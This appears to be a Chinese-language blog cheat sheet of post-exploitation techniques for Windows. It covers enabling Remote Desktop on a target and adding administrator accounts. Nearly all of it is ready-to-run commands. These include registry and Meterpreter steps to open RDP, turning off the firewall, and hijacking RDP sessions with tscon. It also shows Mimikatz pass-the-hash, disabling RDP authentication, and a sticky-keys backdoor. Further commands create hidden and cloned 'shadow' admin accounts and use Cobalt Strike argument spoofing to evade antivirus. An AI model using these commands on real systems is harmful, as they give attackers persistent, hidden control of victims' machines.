遠程開啟3389及添加用戶總結
VSole2022-01-18 16:35:30
1、查詢3389端口方式
- (1) REG查詢3389狀態(0:ON、1:OFF)
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
- (2) REG查詢3389端口(16進制->10進制)
#兩個鍵值均可,值為0xd3d則為3389,否則將其轉為10進制則為端口號 REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /v PortNumber REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
- (3) tasklist、netstat命令查詢3389端口
tasklist /svc | findstr "TermService" netstat -ano | findstr "3389"
2、開啟3389端口方式
- (1) MSF命令開啟3389端口
meterpreter > run post/windows/manage/enable_rdp meterpreter > run getgui -e #注:getgui可用于開啟目標機器的3389遠程桌面端口、創建管理員賬戶密碼、禁用遠程桌面(TCP-In)防火墻入站規則等。
- (2) REG命令開啟3389端口
#開啟遠程桌面 (0:ON、1:OFF) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f #修改windows遠程桌面端口3389為3000(一般情況不要改) REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
- (3) WMIC命令開啟3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 # 前提條件是確保“Windows Management Instrumentation(Winmgmt)”服務已正常啟動。
- (4) Windows API開啟3389端口
原理就是利用RegCreateKeyEx和RegSetValueEx兩個API和Microsoft.Win32 RegistryKey類操作系統注冊表
- (5) MSSQL xp_regwrite開啟3389端口
應用場景:xp_cmdshell被禁用/刪除且無法恢復時,可嘗試用xp_regread、xp_regwrite來查詢和開啟目標機器3389端口,也可以選擇用sp_OACreate、Agent Job等其他命令執行方式。
# 1、查詢3389開啟狀態 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections' # 2、查詢3389遠程桌面端口 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' # 3、開啟3389遠程桌面端口(0:ON、1:OFF) exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
注:防火墻配置3389放行
#配置一下防火墻,設置為允許遠程桌面連接,命令: netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #netsh 是 windows 的網絡配置命令,advfirewall firewall 意思為防火墻的高級設置,add rule 是添加一條規則 #name 指定規則名稱,protocol 指定協議,dir 指定是出站還是入站,localport 指定端口,action 指定動作 allow 允許 #關閉防火墻 netsh firewall set opmode mode=disable
3、RDP劫持或切換用戶
- (1)切換用戶
#獲取用戶對應的會話 ID query user #切換會話 tscon 會話id /PASSWORD:要切換的用戶密碼 如: tscon 2 /PASSWORD:Bunny2021 #在 SYSTEM 權限下直接執行 tscon 會話切換命令, 不需要輸入密碼
- (2)劫持用戶
#創建服務獲取 SYSTEM 權限 sc create rdp binpath= "cmd.exe /k tscon 會話id /dest:會話名稱" sc create rdp binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改為目標會話id和當前會話名 sc start rdp
4、登陸RDP方式
- (1)windows多個遠程桌面連接
mstsc /admin
- (2)linux遠程桌面連接
#使用redesktop工具 redesktop 192.168.1.1 //redesktop IP
- (3)哈希傳遞登錄 RDP
#注冊表開啟Restricted Admin Mode REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f #查看是否成功開啟 REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #Mimikatz 進行哈希傳遞 privilege:\:debugsekurlsa\::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin" #注:管理員組有效
- (4)粘滯鍵與輔助功能后門
#關閉3389鑒權,設置securitylayer 安全層驗證 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f #注: userauthentication鑒權: 0 指定的網絡級用戶不需要身份驗證就能建立遠程桌面連接。這是默認值。 1 指定網絡級別的用戶身份驗證是必需的 securitylayer 安全層驗證: 0 就是連接前使用 rdp 協議進行身份驗證,rdp 即遠程桌面連接,可以簡單理解為就是關閉驗證。 1 是指在連接前兩端協商來進行身份驗證,這個是默認值。 2 就是使用 tls 協議來進行 #替換sethc.exe程序 copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
- (5)RDP登陸出錯處理(后續遇到后補充)
1、出現身份驗證錯誤,要求的函數不受支持,遠程計算機:X.X.X.X,這可能是由于CredSSP加密Oracle修正
#下列方法選擇一種即可 1、控制端打開組策略(gpedit.msc),打開計算機配置/管理模板/系統/憑據分配,在右側列表中找到加密Oracle修正,雙擊加密Oracle修正,進入設置,選擇已啟用,將保護級別選擇易受攻擊 2、控制端設置注冊表 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v AllowEncryptionOracle /t REG_DWORD /d 2 3、被控端關閉3389鑒權 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

5、創建賬戶密碼
- (1)cmd創建賬戶并添加管理員權限
net user #查看當前所有系統用戶 net user test 123456 /add #添加用戶名為test密碼為123456的用戶 net localgroup administrators test /add #把test用戶提升至管理組 #拓展: 1、net不能用時 可以用net1 如net1 user jdq 123456 /add 效果一樣,也可以復制net.exe為xxx.exe再執行 2、/add也可以用/ad代替 執行效果一樣 3、使用$添加隱藏用戶:net user jdq$ 123456 /add
- (2) Powershell添加管理員用戶
#添加test用戶,密碼123456 New-LocalUser test -Password (ConvertTo-SecureString -String '123456' -AsPlainText -Force) Add-LocalGroupMember -Group "administrators" -Member "test"
- (3)使用vbs文件
#vbs腳本,添加test用戶,密碼123456
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","admin")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/admin",user)
oe.add os&"/admin"
#執行vbs腳本
wscript.exe add.vbs
- (4)CS argue命令
#argue 進程參數欺騙 #argue [command] [fake arguments] #argue 命令 假參數 欺騙某個命令參數 #argue [command] #argue 命令 取消欺騙某個命令參數 argue net saldjfoiwjeofijoisfklasjdlfjasdfiowjefoijwoefjoaisjefojsaefoiwejfowef run net user test 123456 /add run net localgroup "administrators" test /add
- (5)Win API 進行UserAdd
#這個需要一定的代碼能力。我直接貼工具 https://github.com/lengjibo/NetUser #原理分析文章 https://www.anquanke.com/post/id/264890#h3-6
- (6)Vbscript API 添加管理員用戶
#1、API_Shell.Users組件(XP/Win2k3)
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
#2、ADSI_WinNT對象(XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016)
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "123456"
od.SetInfo
Set of=GetObject(os&"/betasec",user)
oe.add os&"/betasec"
- (7)影子賬戶的創建(system權限cmd操作,管理員rdp登陸圖形操作)
(注:新建管理員帳戶b,克隆帳戶b,建立隱藏賬戶bbb$,刪除管理員帳戶b,隱藏賬戶bbb$仍然有效) (克隆帳戶a的權限,建立隱藏帳戶aaa$,修改帳戶a的密碼,隱藏帳戶aaa$仍然有效)
-# 創建隱藏用戶
net user test$ 123456 /add net localgroup administrators test$ /add

-# 導出用戶注冊表id信息(注:用QUERY查看無法看到id信息)
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ test$.reg //隱藏用戶的信息 reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator administrator.reg //管理員的信息


-# 利用type打開導出文件,獲得兩個用戶的id
type test$.reg type administrator.reg

-# 根據id導出用戶的詳細信息
reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 000003EA.reg reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 000001F4.reg

-# 將管理員的f值復制替換到隱藏用戶的f值
(注:可以下載至本地修改,或進行追加修改)

-# 刪除隱藏用戶
net user test$ /del
-# 還原隱藏用戶注冊表test$.reg,000003EA.reg
regedit /s test$.reg regedit /s 000003EA.reg
-# 啟動賬戶
net user test$ /active:yes
參考鏈接
1、RDP安全總結:
https://bewhale.github.io/posts/24991.html#toc-heading-1
2、用戶添加:
https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg
3、繞過AV進行UserAdd的方法:
https://www.anquanke.com/post/id/264890#h3-5
4、滲透技巧——Windows系統的帳戶隱藏:
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F
VSole
網絡安全專家